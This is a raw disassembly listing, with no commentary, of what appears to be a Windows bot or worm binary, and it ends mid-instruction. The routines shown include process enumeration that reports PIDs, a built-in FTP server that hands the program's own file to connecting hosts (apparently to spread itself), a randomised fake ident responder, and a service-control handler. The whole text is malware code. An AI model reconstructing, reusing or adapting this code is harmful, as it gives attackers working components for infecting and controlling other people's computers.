arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41E660 push eax mov large fs:0, esp sub esp, 44h push ebx push ebp push esi mov esi, [esp+5Ch+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E7FA lea eax, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push eax call sub_4018D9 ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0 push ecx call sub_4011D6 add esp, 4 test al, al jz loc_41E7E2 push 0 push 7Bh push 25h push 9 push 25h push 25h push 9 push 5 push 1Dh push 23h push 1Fh lea edx, [esp+8Ch+var_3C] push 79h push edx call sub_4019B5 add esp, 34h mov edi, eax lea ebx, [esi+69h] mov byte ptr [esp+60h+var_4], 1 mov ecx, ebx call sub_4014D3 push eax mov ecx, edi call sub_401681 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], 0 call sub_401226 lea ecx, [esp+60h+var_50] call sub_401703 lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx xor edi, edi call sub_4014D8 mov eax, [eax] lea ecx, [esp+60h+var_4C] push ecx lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], eax call sub_40196F push eax lea ecx, [esp+64h+var_50] call sub_401802 test al, al jz short loc_41E7E2 mov ebp, dword_50F8D0 loc_41E76E: ; CODE XREF: sub_41E660+180j lea ecx, [esp+60h+var_50] inc edi call sub_40122B mov ecx, eax call sub_4017E4 push eax lea ecx, [esp+64h+var_50] call sub_40122B mov edx, [eax+15h] mov ecx, ebx push edx push edi push offset aD_PidDS ; "%d. - Pid: %d - \"%s\"" call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 20h push 5DCh call ebp lea ecx, [esp+60h+var_50] call sub_40107D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx call sub_40196F push eax lea ecx, [esp+64h+var_50] call sub_401802 test al, al jnz short loc_41E76E loc_41E7E2: ; CODE XREF: sub_41E660+62j ; sub_41E660+106j lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401816 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41E7FA: ; CODE XREF: sub_41E660+37j lea ecx, [edi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E8EE push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+64h+var_4], 2 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41EC15 push offset asc_443600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 3 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_443600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 4 call sub_4014D3 push eax push offset dword_44402C lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41E8EE: ; CODE XREF: sub_41E660+1ACj lea ecx, [edi+8Eh] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EA55 lea edx, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push edx call sub_4016E0 ; --------------------------------------------------------------------------- lea eax, [esp+60h+var_48] mov ebx, 5 push eax mov [esp+64h+var_4], ebx call sub_402144 add esp, 4 test al, al jz loc_41EA3D push 0 push 3Eh push 13h push ebx push 3 push 9 push 16h push 12h push ebx push 13h lea ecx, [esp+88h+var_3C] push 3Dh push ecx call sub_4019B5 add esp, 30h mov edi, eax lea ebp, [esi+69h] mov byte ptr [esp+60h+var_4], 6 mov ecx, ebp call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], bl call sub_401226 lea ecx, [esp+60h+var_50] call sub_401B40 lea ecx, [esp+60h+var_4C] xor edi, edi push ecx lea ecx, [esp+64h+var_48] call sub_40145B mov edx, [eax] lea eax, [esp+60h+var_4C] push eax lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], edx call sub_4013ED push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jz short loc_41EA3D mov ebx, dword_50F8D0 loc_41E9D6: ; CODE XREF: sub_41E660+3DBj lea ecx, [esp+60h+var_50] inc edi call sub_401055 mov ecx, eax call sub_4017E4 push eax push edi push offset dword_444020 mov ecx, ebp call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch push 5DCh call ebx lea ecx, [esp+60h+var_50] call sub_40182A lea eax, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push eax call sub_4013ED push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jnz short loc_41E9D6 loc_41EA3D: ; CODE XREF: sub_41E660+2CFj ; sub_41E660+36Ej lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401253 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41EA55: ; CODE XREF: sub_41E660+2A3j lea ecx, [edi+0BCh] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EB4C push offset asc_443600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+64h+var_4], 7 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41EC15 push offset asc_443600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 8 call sub_4017E4 push eax call sub_4019FB add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 9 call sub_4014D3 push eax push offset dword_444018 lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41EB4C: ; CODE XREF: sub_41E660+40Aj lea ecx, [edi+60h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EC15 push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+64h+var_4], 0Ah call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz short loc_41EC15 push offset asc_443600 ; " " lea ecx, [esp+64h+var_24] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 0Bh call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+60h+var_24] mov ebx, eax mov [esp+60h+var_4], edi call sub_401226 test ebx, ebx jz short loc_41EC15 push ebx push offset dword_44400C lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 push ebx call sub_4018A7 add esp, 1Ch jmp short loc_41EC17 ; --------------------------------------------------------------------------- loc_41EC15: ; CODE XREF: sub_41E660+1F0j ; sub_41E660+44Ej ... xor al, al loc_41EC17: ; CODE XREF: sub_41E660+195j ; sub_41E660+289j ... mov ecx, [esp+60h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 50h retn 4 sub_41E660 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 180h dup(0CCh) ; --------------------------------------------------------------------------- loc_41EDB0: ; CODE XREF: ___:loc_401FE6j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43B210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov edi, dword_50F8D0 mov [ebp-10h], esp mov esi, ecx mov dword ptr [ebp-4], 0 loc_41EDE0: ; CODE XREF: ___:0041EDF1j mov al, [esi+0ABh] test al, al jnz short loc_41EDF3 push 3E8h call edi jmp short loc_41EDE0 ; --------------------------------------------------------------------------- loc_41EDF3: ; CODE XREF: ___:0041EDE8j mov al, [esi+0ACh] lea ecx, [esi+15h] push eax push ecx mov ecx, offset byte_4472B7 call sub_401A32 lea edx, [ebp-14h] mov ecx, offset byte_4E6EDB push edx mov [ebp-14h], esi call sub_40120D ; --------------------------------------------------------------------------- loc_41EE19: ; DATA XREF: ___:loc_41EE2Co mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_41EE2C: ; DATA XREF: ___:0044154Co mov eax, offset loc_41EE19 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EE70 proc near ; CODE XREF: sub_401DE3j arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] push esi mov esi, ecx mov [esi+11h], eax mov cl, [eax+94h] mov [esi+0A9h], cl mov dl, [eax+93h] mov [esi+0A8h], dl mov cl, [eax+95h] add eax, 15h mov [esi+0AAh], cl push eax lea ecx, [esi+2Ah] call sub_401FBE mov edx, [esi+11h] lea ecx, [esi+69h] add edx, 54h push edx call sub_401FBE mov eax, [esi+11h] lea ecx, [esi+54h] add eax, 3Fh push eax call sub_401FBE mov ecx, [esi+11h] add ecx, 2Ah push ecx lea ecx, [esi+3Fh] call sub_401FBE mov edx, [esi+11h] lea ecx, [esi+15h] push edx call sub_401FBE mov al, [esp+4+arg_4] mov byte ptr [esi+0ABh], 1 mov [esi+0ACh], al pop esi retn 8 sub_41EE70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EF30 proc near ; CODE XREF: sub_4020A9j var_DC = dword ptr -0DCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_94 = byte ptr -94h var_88 = dword ptr -88h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_44 = byte ptr -44h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = byte ptr -0Ch var_8 = dword ptr -8 arg_0 = byte ptr 4 arg_8 = byte ptr 0Ch arg_14 = dword ptr 18h arg_18 = byte ptr 1Ch arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_50 = byte ptr 54h arg_68 = byte ptr 6Ch arg_80 = byte ptr 84h arg_88 = byte ptr 8Ch arg_A8 = byte ptr 0ACh arg_E4 = byte ptr 0E8h arg_F0 = byte ptr 0F4h arg_118 = byte ptr 11Ch arg_128 = byte ptr 12Ch arg_138 = byte ptr 13Ch arg_148 = byte ptr 14Ch arg_158 = byte ptr 15Ch arg_908 = byte ptr 90Ch arg_18C8 = dword ptr 18CCh arg_18D8 = dword ptr 18DCh arg_1930 = byte ptr 1934h arg_1970 = dword ptr 1974h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41EF30 push eax mov eax, 19B4h mov large fs:0, esp call sub_436840 push esi push edi mov edi, ecx xor eax, eax mov [esp+14h+var_8], edi mov [esp+14h+arg_14], 10h lea esi, [edi+19h] mov ecx, esi mov [ecx], eax mov [ecx+4], eax mov [ecx+8], eax mov [ecx+0Ch], eax mov word ptr [esi], 2 mov [edi+1Dh], eax mov dx, word ptr dword_44768F push edx nop call near ptr 71AB2B66h push 6 push 1 push 2 mov [edi+1Bh], ax nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [edi+15h], eax jnz short loc_41EFB7 lea eax, [esp+24h+var_18] mov ecx, offset byte_4E6EDB push eax mov [esp+28h+var_18], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F65A ; --------------------------------------------------------------------------- loc_41EFB7: ; CODE XREF: sub_41EF30+6Dj push 10h push esi push eax call near ptr 71AB3E00h nop test eax, eax jz short loc_41EFE7 mov ecx, [edi+15h] push ecx nop call near ptr 71AB9639h lea edx, [esp+34h+var_28] mov ecx, offset byte_4E6EDB push edx mov [esp+38h+var_28], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F65A ; --------------------------------------------------------------------------- loc_41EFE7: ; CODE XREF: sub_41EF30+93j mov al, byte_4E6E84 test al, al jz loc_41F650 push ebx mov ebx, dword_50FB08 push ebp mov ebp, dword_50FC8C loc_41F002: ; CODE XREF: sub_41EF30+718j mov eax, [edi+15h] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41F01D push 0FAh jmp loc_41F63B ; --------------------------------------------------------------------------- loc_41F01D: ; CODE XREF: sub_41EF30+E1j mov eax, [edi+15h] lea ecx, [esp+40h+var_C] lea edx, [esp+40h+arg_F0] push ecx push edx push eax nop call near ptr 71AC1028h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_41F636 xor ecx, ecx lea edx, [esp+4Ch+var_14] mov [esp+4Ch+var_2C], ecx lea eax, [esp+4Ch+var_2C] mov [esp+4Ch+var_28], ecx push edx mov [esp+50h+var_24], ecx push eax push esi mov [esp+58h+var_14], 10h mov [esp+58h+var_20], ecx call near ptr 71AC0B50h nop mov eax, [esp+58h+var_34] test al, al jz loc_41F641 mov cl, byte_447DF8 test cl, cl jz short loc_41F0CF mov edx, [esp+58h+var_34+3] mov ecx, dword_44768F and edx, 0FFh push ecx mov ecx, [esp+5Ch+var_34+2] push edx mov edx, [esp+60h+var_34+1] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d" mov ecx, offset dword_447998 call sub_4014D3 push eax push 0 push 0 push offset byte_4D60B5 call sub_401848 add esp, 28h loc_41F0CF: ; CODE XREF: sub_41EF30+14Ej lea ecx, [esp+58h+arg_0] call sub_401424 push 1000h push 1000h lea ecx, [esp+60h+arg_0] mov [esp+60h+arg_1970], 0 call sub_401C5D push eax call sub_4015EB add esp, 8 lea eax, [esp+58h+arg_0] lea ecx, [esp+58h+arg_18] push eax call sub_4014C9 lea ecx, [esp+58h+arg_0] mov byte ptr [esp+58h+arg_1970], 1 push ecx lea ecx, [esp+5Ch+arg_18] call sub_401FBE mov edi, offset a220 ; "220 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a220 ; "220 \r\n" push esi call ebp ; send push 0 lea edx, [esp+6Ch+arg_158] push 800h push edx push esi call sub_401280 mov edi, offset a331 ; "331 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a331 ; "331 \r\n" push esi call ebp ; send push 0 lea eax, [esp+7Ch+arg_148] push 800h push eax push esi call sub_401280 mov edi, offset a230 ; "230 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a230 ; "230 \r\n" push esi call ebp ; send push 0 lea ecx, [esp+8Ch+arg_138] push 800h push ecx push esi call sub_401280 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb push 0 not ecx dec ecx push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+9Ch+arg_128] push 800h push edx push esi call sub_401280 add esp, 10h lea eax, [esp+98h+arg_128] lea ecx, [esp+98h+var_C] push eax call sub_401861 push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx lea ecx, [esp+0A4h+var_C] mov [esp+0A4h+arg_1930], 2 call sub_4016AE push offset asc_4440A8 ; "," lea edx, [esp+9Ch+arg_38] push 0 push edx lea ecx, [esp+0A4h+var_54] mov [esp+0A4h+arg_1930], 3 call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 4 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_38] mov edi, eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea eax, [esp+9Ch+arg_80] push 1 push eax lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 5 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_80] mov [esp+98h+var_7C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea ecx, [esp+9Ch+arg_8] push 2 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 6 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_8] mov [esp+98h+var_5C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea edx, [esp+9Ch+arg_68] push 3 push edx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 7 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_68] mov [esp+98h+var_58], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea eax, [esp+9Ch+arg_20] push 4 push eax lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 8 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_20] mov [esp+98h+var_88], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea ecx, [esp+9Ch+arg_50] push 5 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 9 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_50] mov [esp+98h+var_80], eax mov [esp+98h+arg_1930], 3 call sub_401226 mov dl, byte ptr [esp+98h+var_88] mov al, byte ptr [esp+98h+var_80] mov ecx, [esp+98h+var_58] mov byte ptr [esp+98h+var_68+1], dl mov edx, [esp+98h+var_5C] mov byte ptr [esp+98h+var_68], al mov eax, [esp+98h+var_68] push ecx and eax, 0FFFFh push edx mov [esp+0A0h+var_88], eax mov eax, [esp+0A0h+var_7C] push eax push edi lea ecx, [esp+0A8h+arg_A8] push offset aD_D_D_D ; "%d.%d.%d.%d" push ecx nop call sub_5EE1E5 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 18h repne scasb not ecx dec ecx push 0 push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0ACh+arg_118] push 800h push edx push esi call sub_401280 mov edi, offset a150 ; "150 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a150 ; "150 \r\n" push esi call ebp ; send mov eax, [esp+0B8h+var_A8] lea ecx, [esp+0B8h+arg_88] push eax push ecx call sub_401A8C add esp, 8 lea ecx, [esp+0B8h+var_44] mov [esp+0B8h+var_A8], eax push offset aRb ; "rb" call sub_4017E4 push eax call near ptr 77C3F010h nop mov edi, eax add esp, 8 test edi, edi mov [esp+0B8h+var_A0], edi jz loc_41F595 cmp [esp+0B8h+var_A8], 0FFFFFFFFh jz loc_41F595 push 2 push 0 push edi call near ptr 77C4139Ch nop push edi nop call near ptr 77C41574h push 0 push 0 push edi mov [esp+0D4h+var_9C], eax call near ptr 77C4139Ch nop add esp, 1Ch loc_41F4C0: ; CODE XREF: sub_41EF30+5E1j mov edx, [esp+0B8h+var_A0] mov ecx, 400h xor eax, eax lea edi, [esp+0B8h+arg_908] rep stosd push edx push 1000h lea eax, [esp+0C0h+arg_908] push 1 push eax call near ptr 77C411FBh nop mov ecx, [esp+0C8h+var_A0] mov edi, eax add esp, 10h test byte ptr [ecx+0Ch], 20h jnz short loc_41F513 mov eax, [esp+0B8h+var_A8] push 0 lea edx, [esp+0BCh+arg_908] push edi push edx push eax call ebp ; send cmp edi, 1000h jz short loc_41F4C0 loc_41F513: ; CODE XREF: sub_41EF30+5C7j mov eax, [esp+0C8h+var_B4] mov edx, [eax+11h] inc edx mov [eax+11h], edx mov cl, byte_447DF8 test cl, cl mov eax, edx jz short loc_41F57C mov edx, [esp+0C8h+var_A4+3] mov ecx, [esp+0C8h+var_AC] push eax mov eax, [esp+0CCh+var_A4+2] and edx, 0FFh push ecx mov ecx, [esp+0D0h+var_A4+1] push edx mov edx, [esp+0D4h+var_A4] and eax, 0FFh and ecx, 0FFh push eax and edx, 0FFh push ecx push edx push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"... mov ecx, offset dword_447998 call sub_4014D3 push eax push 0 push 0 push offset byte_4D60B5 call sub_401848 add esp, 2Ch loc_41F57C: ; CODE XREF: sub_41EF30+5F8j mov eax, [esp+0C8h+var_B0] push eax call near ptr 77C40AB1h nop mov ecx, [esp+0CCh+var_B8] add esp, 4 push ecx nop call near ptr 71AB9639h loc_41F595: ; CODE XREF: sub_41EF30+55Bj ; sub_41EF30+566j mov edi, offset a226 ; "226 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a226 ; "226 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0E0h+arg_E4] push 800h push edx push esi call sub_401280 mov edi, offset a221 ; "221 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a221 ; "221 \r\n" push esi call ebp ; send push esi nop call near ptr 71AB9639h lea ecx, [esp+0F0h+var_AC] mov byte ptr [esp+0F0h+arg_18D8], 2 call sub_401226 lea ecx, [esp+0F0h+var_64] mov byte ptr [esp+0F0h+arg_18D8], 1 call sub_401226 lea ecx, [esp+0F0h+var_7C] mov byte ptr [esp+0F0h+arg_18D8], 0 call sub_401226 lea ecx, [esp+0F0h+var_94] mov [esp+0F0h+arg_18D8], 0FFFFFFFFh call sub_401226 mov edi, [esp+0F0h+var_DC] loc_41F636: ; CODE XREF: sub_41EF30+109j push 9C4h loc_41F63B: ; CODE XREF: sub_41EF30+E8j call near ptr 2850303h nop loc_41F641: ; CODE XREF: sub_41EF30+140j mov al, byte_4E6E84 test al, al jnz loc_41F002 pop ebp pop ebx loc_41F650: ; CODE XREF: sub_41EF30+BEj mov eax, [edi+15h] push eax call near ptr 71AB9639h nop loc_41F65A: ; CODE XREF: sub_41EF30+82j ; sub_41EF30+B2j mov ecx, [esp+0F0h+arg_18C8] pop edi xor eax, eax pop esi mov large fs:0, ecx add esp, 19C0h retn sub_41EF30 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F860 proc near ; CODE XREF: sub_401230j var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_60 = byte ptr -60h var_48 = byte ptr -48h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41F860 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 84h push ebx push ebp push esi push 71h call sub_40197E add esp, 4 cmp eax, 0FFFFFFFFh mov [esp+9Ch+var_90], eax jnz short loc_41F89D mov byte_4E6ED9, 0 jmp loc_41FA01 ; --------------------------------------------------------------------------- loc_41F89D: ; CODE XREF: sub_41F860+2Fj mov cl, byte_4472BB xor ebx, ebx cmp cl, bl mov byte_4E6ED9, 1 jnz loc_41F9F4 lea ecx, [esp+9Ch+var_8C] push ecx push eax call sub_401FEB mov ebp, eax add esp, 8 cmp ebp, 0FFFFFFFFh jz loc_41F9E7 push edi lea ecx, [esp+0A0h+var_7C] call sub_401424 mov [esp+0A0h+var_4], ebx call sub_401EEC mov esi, dword_50FABC call esi ; rand cdq mov ecx, 3 push offset byte_446F70 idiv ecx lea ecx, [esp+0A0h+var_78] mov edi, edx add edi, 0Ah call sub_4015D7 cmp edi, ebx jle short loc_41F966 loc_41F90A: ; CODE XREF: sub_41F860+104j lea ecx, [esp+9Ch+var_60] call sub_401424 lea edx, [esp+9Ch+var_78] lea ecx, [esp+9Ch+var_60] push edx mov byte ptr [esp+0A0h], 1 call sub_401FBE call esi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+9Ch+var_60] add edx, 61h push edx call sub_4017E4 push eax lea edx, [esp+0A4h+var_78] push offset dword_443E84 push edx call sub_40102D add esp, 10h lea ecx, [esp+9Ch+var_60] mov [esp+9Ch], bl call sub_401226 dec edi jnz short loc_41F90A loc_41F966: ; CODE XREF: sub_41F860+A8j push 0Ah lea ecx, [esp+0A0h+var_78] call sub_40146F mov [eax], bl mov ecx, 10h xor eax, eax lea edi, [esp+9Ch+var_48] rep stosd lea ecx, [esp+9Ch+var_78] call sub_4017E4 push eax push 71h call esi ; rand cdq mov ecx, 1770h idiv ecx inc edx push edx lea edx, [esp+0A8h+var_48] push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n" push edx nop call sub_5EE1E5 add esp, 14h lea eax, [esp+9Ch+var_48] push ebx push 40h push eax push ebp nop call near ptr 71AB428Ah mov esi, dword_50FC88 push ebp call esi ; closesocket lea ecx, [esp+0A0h+var_7C] mov [esp+0A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0A0h+var_90] push ecx call esi ; closesocket mov byte_4E6ED9, bl pop edi jmp short loc_41F9FE ; --------------------------------------------------------------------------- loc_41F9E7: ; CODE XREF: sub_41F860+67j push 7D0h call near ptr 2850303h nop jmp short loc_41FA01 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F860+4Ej mov ebp, [esp+9Ch+var_90] mov esi, dword_50FC88 loc_41F9FE: ; CODE XREF: sub_41F860+185j push ebp call esi ; closesocket loc_41FA01: ; CODE XREF: sub_41F860+38j ; sub_41F860+192j mov ecx, [esp+9Ch+var_C] pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 90h retn sub_41F860 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FA90 proc near ; CODE XREF: sub_401ABEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax jz short loc_41FACB dec eax jz short loc_41FAB4 dec eax jnz short loc_41FAF1 mov ecx, dword_50BB68 mov dword_50BB4C, 4 call sub_401DCA jmp short loc_41FAF1 ; --------------------------------------------------------------------------- loc_41FAB4: ; CODE XREF: sub_41FA90+8j mov ecx, dword_50BB68 mov dword_50BB4C, 7 call sub_401028 jmp short loc_41FAF1 ; --------------------------------------------------------------------------- loc_41FACB: ; CODE XREF: sub_41FA90+5j mov ecx, dword_50BB68 xor eax, eax mov dword_50BB54, eax mov dword_50BB4C, 1 mov dword_50BB5C, eax mov dword_50BB60, eax call sub_401744 loc_41FAF1: ; CODE XREF: sub_41FA90+Bj ; sub_41FA90+22j ... mov eax, dword_50BB6C push offset dword_50BB48 push eax mov dword_50BB4C, 4 nop call near ptr 291074Fh retn 4 sub_41FA90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FB30: ; CODE XREF: ___:loc_401956j push esi xor esi, esi push offset sub_401ABE mov ecx, offset byte_44794F mov dword_50BB48, 20h mov dword_50BB4C, 2 mov dword_50BB50, 3 mov dword_50BB54, esi mov dword_50BB58, esi mov dword_50BB5C, esi mov dword_50BB60, esi call sub_4017E4 push eax call near ptr 29103C3h nop cmp eax, esi mov dword_50BB6C, eax jz short loc_41FBAA push offset dword_50BB48 push eax mov dword_50BB4C, 4 mov dword_50BB5C, esi mov dword_50BB60, esi nop call near ptr 291074Fh loc_41FBAA: ; CODE XREF: ___:0041FB86j pop esi retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FBD0 proc near ; CODE XREF: sub_401069j push esi mov esi, ecx call sub_401E6A mov 